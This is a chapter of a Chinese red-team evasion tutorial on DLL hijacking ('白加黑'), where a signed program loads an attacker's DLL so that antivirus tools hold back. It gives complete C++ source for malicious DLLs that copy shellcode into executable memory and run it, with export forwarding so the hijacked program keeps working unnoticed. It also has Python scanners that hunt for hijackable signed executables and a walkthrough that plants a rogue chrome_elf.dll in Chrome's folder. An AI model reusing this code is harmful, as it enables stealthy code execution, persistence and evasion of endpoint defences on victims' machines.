onedaybook
  • 关于这个博客
  • C2工具原理分析
    • C2工具原理分析:从生成shellcode到上线CS服务器全过程
  • DevilC2工具开发
    • 关于这个项目
  • Rootkit工具开发
  • EvilLoader工具开发
  • 免杀
    • 问鼎免杀之路
      • 序言
      • 第一章-基础
        • 0-基础
        • 1-PE的相关数据结构
        • 2-WindowsAPI
        • 3-混淆加密
        • 4-特征修改
        • 5-分离
        • 6-转换
        • 7-保护
      • 第二章-执行与注入技术
        • 0-创建线程注入(CreateThread Injection)
        • 1-创建纤程注入(CreateFiber Injection)
        • 2-创建远程线程注入(CreateRemoteThread Injection)
        • 3-创建堆注入(HeapCreate Injection)
        • 4-创建线程池注入(CreateThreadpoolWait Injection)
        • 5-进程镂空注入(Process Hollowing Injection)
        • 6-DLL镂空注入(DLL Hollowing Injection)
        • 7-DLL劫持注入(涉及白加黑)
        • 8-映射注入(Mapping Injection)
        • 9-MapViewOfFile+NtMapViewOfSection
        • 10-挂钩注入(SetWindowsHookEx Injection)
        • 11-注册表注入
        • 12-设置上下文劫持注入(SetContext Hijack Injection)
        • 13-剪贴板注入(Clipboard Injection)
        • 14-突破session 0远程线程注入
        • 15-枚举RWX区域注入
        • 16-APC注入(APC Injection)
        • 17-APC & NtTestAlert Injection
        • 18-APC劫持
        • 19-Early Bird
        • 20-基于资源节加载shellcode
        • 21-内核回调表注入(KernelCallbackTable Injection)
        • 22-自举的代码幽灵——反射DLL注入(Reflective DLL Injection)
        • 23-内存申请总结
        • 24-移动或复制shellcode总结
        • 25-shellcode执行总结
      • 第三章-防御规避
        • 0-动态获取API函数(又称隐藏IAT)
        • 1-重写ring3 API函数
        • 2-自定义 String 哈希算法
      • 第四章-武器化
        • 0-Windows Shellcode开发
        • 1-Windows Shellcode开发(x86 stager)
        • 2-Windows Shellcode开发(x64 stager)
        • 3-Linux Shellcode开发(Stager & Reverse Shell)
        • 4-非PEB获取ntdll和kernel32模块基址的精妙之道
        • 5-从SRDI原理剖析再到PE2Shellcode的实现
      • 第五章-主动进攻
      • 第六章-社工钓鱼
    • 随笔
      • 0-用哥斯拉插件零基础免杀上线msf和cs
      • 1-新版RDI
      • 2-新新版RDI
  • 权限提升
  • 数字取证/应急响应
  • 工具二开
    • 哥斯拉二开
      • 环境准备
  • 代码审计
  • PWN
    • ret2text
    • ret2shellcode
    • ret2syscall
    • ret2libc1
    • ret2libc2
    • ret2libc3
Powered by GitBook
On this page
  • 一、前言
  • 1.1 DLL简介
  • 1.2 DLL的加载顺序
  • 二、流程和代码实现
  • 2.1 DLL劫持测试
  • 2.2 劫持特定函数接口型(Dll漏洞挖掘及白加黑利用)
  • 2.3 DLL函数转发(也称DLL旁路加载)
  • 2.4 通用DLL劫持型
  1. 免杀
  2. 问鼎免杀之路
  3. 第二章-执行与注入技术

7-DLL劫持注入(涉及白加黑)

Previous6-DLL镂空注入(DLL Hollowing Injection)Next8-映射注入(Mapping Injection)

Last updated 4 months ago

一、前言

本节内容涉及 白加黑 技术,白加黑并不是一个很新的技术,但是在红队攻防中应用非常广泛,且十分有效,究其原因是一个白程序(有数字签名的),能加载你的黑DLL,这样AV/EDR都得有所顾忌,不敢乱杀。

1.1 DLL简介

在Windows中,许多应用程序并不是一个完整的可执行文件,一个大型项目的许多功能被拆分成相对独立的动态链接库,即DLL文件(也是PE文件的一种)。当一个程序需要到一个DLL里面的函数或者数据时,就会将相应的DLL加载到自己的虚拟地址空间中。

一个DLL文件可以被多个应用程序直接使用,这样的DLL文件被称为共享DLL文件

1.2 DLL的加载顺序

当应用程序动态加载动态链接库而不指定完全限定的路径名称时,Windows 会尝试通过按特定顺序搜索一组定义完善的目录来查找 DLL。如果攻击者控制 DLL 搜索路径上的某个目录,则可以在该目录中放置 DLL 的恶意副本

DLL劫持技术利用的是Windows对DLL访问时查找DLL位置的一个漏洞,Windows对DLL的默认查找顺序(XP SP2及之后)如下:

官方文档: 1、

2、

  1. 从中加载应用程序的目录。

  2. 系统目录。

  3. 16 位系统目录。

  4. Windows 目录。

  5. 当前目录。

  6. PATH 环境变量中列出的目录。

当应用程序发出 LoadLibrary 调用时,系统会搜索 DLL,在当前目录中查找 DLL 的恶意副本,然后加载它。 然后,DLL 的恶意副本在应用程序中运行,并获取用户的权限。

说的有点啰嗦了,实际的劫持中我们排除某些KnownDlls,排除某些绝对路径加载的DLL,找到可以被劫持的DLL,然后将恶意的DLL放置到原始DLL的路径即可。

二、流程和代码实现

DLL的导出函数:在 C++ 中,导出函数(Export Functions)通常是为了创建动态链接库(DLL)或共享库,以便其他程序或模块可以调用这些函数

导出方式:

模板
extern "C" __declspec(dllexport) int <导出函数名称>(类型 参数1, 类型 参数2, ……)

例子
extern "C" __declspec(dllexport) int Add(int a, int b)

⚠注意:DLL劫持注入中,恶意DLL应该与原始DLL某一个函数具有相同的导出函数声明,这样应用程序才能正确调用我们的恶意DLL里的函数。

2.1 DLL劫持测试

  1. 构造一个原始DLL

  2. 构造一个恶意DLL

  3. 构造一个应用程序exe

构造一个原始DLL

#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		GetModuleFileName(NULL, szFileName, MAX_PATH);
		printf("Original Dll' Current Path: %s\r\n", szFileName);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
}

extern "C" __declspec(dllexport) int Add(int a, int b) {
	return(a + b);
}

构造一个恶意DLL

#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		GetModuleFileName(NULL, szFileName, MAX_PATH);
		printf("Dll Path: %s\r\n", szFileName);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
}

typedef int (*PFNADD)(int, int);

extern "C" __declspec(dllexport) int Add(int a, int b) {
	unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

	// 申请一块大小为buf字节数组长度的可读可行的内存区域
	LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将buf数组中的内容复制到刚刚分配的内存区域
	RtlMoveMemory(pMemory, buf, sizeof(buf));

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	Sleep(1000);

	return TRUE;
}

应用程序代码

#include <windows.h>
#include <stdio.h>

int main() {
	HMODULE hMod = NULL;

	hMod = LoadLibraryA("DLLHijack.dll");
	if (!hMod) {
		printf("加载失败!");
		return(-1);
	}
	typedef int (*PFNADD)(int, int);
	PFNADD pfnAdd = (PFNADD)GetProcAddress(hMod, "Add");
	if (NULL == pfnAdd)
		return(-1);
	printf("1000 + 2000 = %d\r\n", pfnAdd(1000, 2000));

	if (hMod) {
		FreeLibrary(hMod);
		hMod = NULL;
	}
	return 0;
}

2.2 劫持特定函数接口型(Dll漏洞挖掘及白加黑利用)

  1. 寻找目标程序除微软DLL外的可被劫持的DLL

  2. 构造一个恶意DLL,并声明一个与原始DLL一样的导出函数声明

  3. 将恶意DLL放入到原始DLL目录中,并将恶意DLL的名称改为原始DLL的名称。

  4. 运行目标程序

现在有一个问题,就是我们如何知道被劫持的DLL里面的导出函数呢?手动去找不太现实,可以利用工具批量查找可利用的DLL。

将其中的scan.py分成两部分,一个命名为:scan_MSDLL.py,另一个命名为:scan_DLLHijack.py,首先使用 scan_MSDLL.py 来搜寻微软的DLL,接着使用 scan_DLLHijack.py 来搜寻可以劫持的DLL。

判断了一下获取到的dll如果开头为API以及结尾为HELP或API直接丢弃掉,然后就是判断导出的dll如果大于1个那么也丢弃掉,因为白加黑只需要一个dll,如果导出来太多dll的话没啥用。

⚠注意:使用工具前,请将Tool目录添加到环境变量。

scan_MSDLL.py

import os
import sys
import re

def collect_microsoft_dlls(base_paths):
    """
    收集微软系统 DLL
    """
    microsoft_dlls = set()

    def scan_directory(path):
        try:
            for filename in os.listdir(path):
                filepath = os.path.join(path, filename)
                if os.path.isdir(filepath):
                    scan_directory(filepath)
                elif filename.lower().endswith('.dll'):
                    microsoft_dlls.add(filename.lower())
        except PermissionError:
            pass
        except Exception as e:
            print(f"扫描错误: {e}")

    # 扫描常见系统目录
    for base_path in base_paths:
        if os.path.exists(base_path):
            scan_directory(base_path)

    return microsoft_dlls

def save_dlls_to_file(dlls, filename='MS_DLL.txt'):
    """
    保存 DLL 列表到文件
    """
    with open(filename, 'w', encoding='utf-8') as f:
        for dll in sorted(dlls):
            f.write(dll + '\n')

def main():
    # 默认系统 DLL 目录
    default_paths = [
        r'C:\Windows\System32',
        r'C:\Windows\SysWOW64', 
        r'C:\Windows\WinSxS'
    ]

    # 如果提供了路径参数,则使用用户指定路径
    if len(sys.argv) > 1:
        default_paths = [sys.argv[1]]

    # 收集 DLL
    microsoft_dlls = collect_microsoft_dlls(default_paths)

    # 打印和保存结果
    print(f"总共找到 {len(microsoft_dlls)} 个微软 DLL")
    save_dlls_to_file(microsoft_dlls)

    # 控制台输出
    for dll in sorted(microsoft_dlls):
        print(dll)

if __name__ == '__main__':
    main()

使用默认搜寻路径 python .\scan_MSDLL.py

scan_DLLHijack.py

import os
import re
import sys


def GetPayload(path, exeName):
    whiteDLLs = {}
    exeFullPath = path + '\\' + exeName
    # 获取导入表
    imports = os.popen('dumpbin /imports "' + exeFullPath + '"').read()
    # 匹配DLL信息
    dlls = re.findall('[\S]+\.[dllDLL]{3}[\s\S]+?\n\n[\s\S]+?\n\n', imports)
    dllnames = []
    for dll in dlls:

        if '?' not in dll:
            dllName = re.findall('[\S]+\.[dllDLL]{3}', dll)[0]
            dllnames.append(dllName)
            print(dllnames)
            #print(dllnames)
            # 排除微软DLL
        if len(dllnames) <= 1:
            for i in dllnames:

                if i.startswith("api") or i.split('.')[0].endswith("32") or i == "IPHLPAPI.dll" or i.split('.')[0].endswith("API"):
                    continue
                exist = False
                for msDLL in msDLLs:
                    if msDLL.lower() == i.lower():
                        exist = True
                        break
                if not exist:
                    dllFunctions = re.findall('\n\n[\s\S]+', dll)[0]
                    dllFunctions = re.findall('[0-9A-F][\s]([\S]+)\n', dllFunctions)
                    whiteDLLs[i] = dllFunctions
    # 生成Payload
    if whiteDLLs:
        print(exeFullPath)
        # 获取EXE信息
        exeSize = os.path.getsize(exeFullPath)
        if exeSize > 1048576:
            exeSize = str(round(exeSize / 1048576, 2)) + 'MB'
        elif exeSize > 1024:
            exeSize = str(round(exeSize / 1024, 2)) + 'KB'
        else:
            exeSize = str(round(exeSize, 2)) + 'B'
        sigcheck = os.popen('sigcheck64 "' + exeFullPath + '"').read()
        exeMachineType = re.findall('MachineType:[\s]+([\S]+)', sigcheck)[0]
        if exeMachineType == '64-bit':
            bit = 'x64'
        else:
            bit = 'x86'
        exePublisher = re.findall('Publisher:[\s]+([\S]+)', sigcheck)[0]
        if exePublisher == 'n/a':
            signature = ''
            payload = [bit + ' ' + exeSize + ' 无数字签名 ' + exeName]
        else:
            signature = '数字签名'
            payload = [bit + ' ' + exeSize + ' 有数字签名 ' + exeName]
        # 生成导出函数
        for dllName, dllFunctions in whiteDLLs.items():
            payload += ['\n' + dllName]
            for dllFunction in dllFunctions:
                payload += [
                    'extern "C" __declspec(dllexport) int ' + dllFunction + '() {\n MessageBoxA(NULL, "' + dllFunction + '",0,0);return 0;\n}']

        # 写入文件
        name = bit + ' ' + exeSize + ' ' + signature + ' ' + exeName
        try:
            os.mkdir('Payload')
        except:
            pass
        try:
            os.mkdir('Payload\\' + name)
        except:
            pass
        with open('Payload\\' + name + '\\' + name + '.txt', 'w') as f:
            f.write('\n'.join(payload))
        os.popen('copy "' + exeFullPath + '" "' + os.getcwd() + '\\Payload\\' + name + '"')


# 遍历目录
def Collect(path):
    try:
        for fileName in os.listdir(path):
            if os.path.isfile(path + '\\' + fileName):  # 文件
                if fileName[-4:] == '.exe':
                    GetPayload(path, fileName)  # DLL劫持挖掘
            elif os.path.isdir(path + '\\' + fileName):  # 文件夹
                Collect(path + '\\' + fileName)
    except:
        pass


# 获取微软DLL
with open('MS_DLL.txt', 'r') as f:
    msDLLs = f.read().splitlines()

# 收集EXE
if len(sys.argv) == 2:
    Collect(sys.argv[1])
else:
    print('Usage: python scan.py "D:\\\\"')

python .\scan_DLLHijack.py "C:\\"

随便打开一个输出结果的txt,看看里面的导出函数声明,然后将代码复制到VS编译成一个恶意DLL,将恶意DLL的名称修改为 chrome_elf.dll

来到原始DLL的路径 C:\Program Files\Google\Chrome\Application\131.0.6778.265。路径不一定相同,可以使用IDA PRO、windbg、x32/64dbg等工具去看 Chrome 真正加载的dll。

原始DLL:chrome_elf_old.dll 恶意DLL:chrome_elf.dll

来到Chrome.exe真正的目录 C:\Program Files\Google\Chrome\Application

点击运行exe,成功劫持

测试完之后,记得把恶意DLL chrome_elf.dll 给删除,原始DLL chrome_elf_old.dll 的名称修改为 chrome_elf.dll

2.3 DLL函数转发(也称DLL旁路加载)

  1. 寻找目标程序除微软DLL外的可被劫持的DLL

  2. 根据转发表,构造一个恶意DLL(用AheadLib工具)。

  3. 将恶意DLL放入到原始DLL目录中,并将恶意DLL的名称改为原始DLL的名称。

  4. 运行目标程序

可以看到上面的GIF图,我点击运行了Chrome,虽然成功执行了我们的恶意代码,但是Chrome并没有正常的执行。这样并不利于我们在实战中使用,所以在编写一个恶意DLL时,我们通常除了让dll的导出表与原dll一致,同时对函数进行向原dll的转发,这样我们就能在用户毫无察觉的情况下运行自定义的代码。

DLL函数转发:

  1. A DLL,其导出函数有 funA,可以供主程序 exe 调用;

  2. B DLL,其导出函数有 funB1, funB2,但是开发者开发时,标记了 funB2 函数实际调用的是 A DLL 的 funA 函数,那么主程序在调用的时候:exe -> funB2 -> funA,即 funB2 只是起到一个中转的作用,前面讲到,我们在调用 DLL 的导出函数时,需要将对应的 DLL 载入内存,获取到其导出函数的内存地址,才能进行调用,所以 exe 在调用 B DLL的 funB1 和 funB2 函数时,不仅需要将 B DLL 载入内存,而且还需要将 A DLL 载入内存。

  3. 这个知识点对我们后续开发恶意DLL有很重要的作用,比如说我们可以在dllmain函数中编写恶意代码,而不影响程序的正常执行。

转发函数的形式:

#pragma comment(linker, "/EXPORT:Add=Origin.Add")

Add表示恶意DLL里的函数(并不需要真正构造出这个函数),Origin.Add表示原始DLL的Add函数。

我这里选择的是直接转发函数,当然你也可以用即使调用函数,它们的原理不相同但是达到的效果差不多。

挑选一个可被劫持的DLL,如果要转发的函数太多了,选择一个合适的路径输出cpp文件。

dllmain和EvilFuntion的代码如下,然后将转发函数表代码复制到dllmain函数的下方中。

#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

void EvilFunction()
{
	unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

	// 申请一块大小为buf字节数组长度的可读可行的内存区域
	LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将buf数组中的内容复制到刚刚分配的内存区域
	RtlMoveMemory(pMemory, buf, sizeof(buf));

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	Sleep(1000);
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		EvilFunction();
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}

生成我们的恶意dll并改名,原始DLL改成以Org为后缀。

测试

可以看到,应用程序加载了恶意DLL和原始DLL,这样应用程序就能正常启动,达到隐蔽持久化的目的。

2.4 通用DLL劫持型

这是吾爱破解社区里面的一位大佬分享的技术。通用DLL劫持 ,这是一个 DLL 劫持的底层实现,主要通过直接操作 PEB(进程环境块)和 LDR(加载器)数据结构来替换已加载的 DLL。详细的原理介绍请看 参考文章-1

官方文档的数据结构中某些字段的含义并没有说明,详细字段含义请看参考文章-5。

  1. 数据结构定义

// UNICODE_STRING:Windows 字符串表示
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

// PEB_LDR_DATA:进程加载模块链表信息
typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA;

// LDR_DATA_TABLE_ENTRY:单个模块的详细信息
typedef struct _LDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	WORD LoadCount;
	WORD TlsIndex;
	union
	{
		LIST_ENTRY HashLinks;
		struct
		{
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union
	{
		ULONG TimeDateStamp;
		PVOID LoadedImports;
	};
	_ACTIVATION_CONTEXT * EntryPointActivationContext;
	PVOID PatchInformation;
	LIST_ENTRY ForwarderLinks;
	LIST_ENTRY ServiceTagLinks;
	LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
  1. 获取 PEB 数据结构的地址

void* NtCurrentPeb()
{
#ifdef _WIN64
	//return (void*)__readgsqword(0x30);
	return (void*)__readgsqword(0x60);
#else
	__asm {
		mov eax, fs: [0x30] ;
	}
#endif
}

⚠注意:

  • 获取当前进程 PEB:使用 __readgsqword(0x60) 或(void*)__readfsdword(0x30)

  • 获取远程进程 PEB:使用上下文寄存器方法(进程镂空注入(Process Hollowing Injection) 有介绍)

  1. 获取 PEB 中的 Ldr 数据结构的地址

PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
#ifdef _WIN64
	return (PEB_LDR_DATA*)(*(ULONGLONG*)((BYTE*)peb + 0x18));
#else
	__asm {
		mov eax, peb;
		mov eax, [eax + 0xc];
	}
#endif
}
  1. 核心劫持函数

void SuperDllHijack(LPCWSTR dllname, LPWSTR OrigDllPath) {
    void* peb = NtCurrentPeb();
    PEB_LDR_DATA* ldr = NtGetPebLdr(peb);

    // 遍历已加载模块链表
    for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
         entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
         entry = entry->Blink) {
        
        PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;

        // 比较 DLL 名称
        if (!_wcsicmp(data->BaseDllName.Buffer, dllname)) {
            // 替换 DLL 基址
            HMODULE hMod = LoadLibrary(OrigDllPath);
            data->DllBase = hMod;
            break;
        }
    }
}

没成功,不过有些思路可以学习一下。

完整代码

#include <windows.h>
#include <SDKDDKVer.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")

// UNICODE_STRING:Windows 字符串表示
typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING;

// PEB_LDR_DATA:进程加载模块链表信息
typedef struct _PEB_LDR_DATA {
	ULONG Length;
	BOOLEAN Initialized;
	PVOID SsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA;

// LDR_DATA_TABLE_ENTRY:单个模块的详细信息
typedef struct _LDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	WORD LoadCount;
	WORD TlsIndex;
	union
	{
		LIST_ENTRY HashLinks;
		struct
		{
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union
	{
		ULONG TimeDateStamp;
		PVOID LoadedImports;
	};
	_ACTIVATION_CONTEXT* EntryPointActivationContext;
	PVOID PatchInformation;
	LIST_ENTRY ForwarderLinks;
	LIST_ENTRY ServiceTagLinks;
	LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

// 获取 PEB 数据结构的地址
void* NtCurrentPeb()
{
#ifdef _WIN64
	//return (void*)__readgsqword(0x30);
	return (void*)__readgsqword(0x60);
#else
	__asm {
		mov eax, fs: [0x30] ;
	}
#endif
}

// 获取 PEB 中的 Ldr 数据结构的地址
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
#ifdef _WIN64
	return (PEB_LDR_DATA*)(*(ULONGLONG*)((BYTE*)peb + 0x18));
#else
	__asm {
		mov eax, peb;
		mov eax, [eax + 0xc];
	}
#endif
}

void SuperDllHijack(LPCWSTR dllname, LPWSTR OrigDllPath) {
	void* peb = NtCurrentPeb();
	PEB_LDR_DATA* ldr = NtGetPebLdr(peb);

	// 遍历已加载模块链表
	for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
		entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
		entry = entry->Blink) {

		PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;

		// 比较 DLL 名称
		if (!_wcsicmp(data->BaseDllName.Buffer, dllname)) {
			// 替换 DLL 基址
			HMODULE hMod = LoadLibrary(OrigDllPath);
			data->DllBase = hMod;
			break;
		}
	}
}
VOID DllHijack1(HMODULE hMod)
{
	// 定义一个字符串缓冲区,用于存储 DLL 路径
	TCHAR tszDllPath[MAX_PATH] = { 0 };

	// 获取当前模块(DLL)的完整文件路径
	GetModuleFileName(hMod, tszDllPath, MAX_PATH);

	// 移除文件名,保留目录路径
	PathRemoveFileSpec(tszDllPath);


	// 在目录路径后追加要劫持的 DLL 名称
	PathAppend(tszDllPath, TEXT("libwiresharkOrg.dll"));

	// 调用 DLL 劫持函数
	SuperDllHijack(L"libwireshark.dll", tszDllPath);
}

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		DllHijack1(hModule);
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

详见:

工具:

详见:

recording.gif

如果被劫持的DLL拥有多个导出函数,则我们就需要全部转发,那么怎么批量生成转发函数表呢?可以使用 AheadLib 工具:

recording.gif

参考文章: 1、

2、

3、

4、

5、

Dynamic-link library search order - Win32 apps | Microsoft Learn
动态链接库安全性 - Win32 apps | Microsoft Learn
C++开发基础之创建DLL的常见的6种导出函数(Export Functions)形式_c++ 导出函数-CSDN博客
GitHub - HackerCalico/SkyShadow: Generate DLL Hijacking Payload in batches.
白加黑详解
[下载] AheadLib修改 支持x64支持类/命名空间-编程技术-看雪-安全社区|安全招聘|kanxue.com
一种通用DLL劫持技术研究 - 吾爱破解 - 52pojie.cn
GitHub - anhkgg/SuperDllHijack: SuperDllHijack:A general DLL hijack technology, don't need to manually export the same function interface of the DLL, so easy! 一种通用Dll劫持技术,不再需要手工导出Dll的函数接口了
PEB (winternl.h) - Win32 apps | Microsoft Learn
PEB_LDR_DATA (winternl.h) - Win32 apps | Microsoft Learn
Vergilius Project | Kernels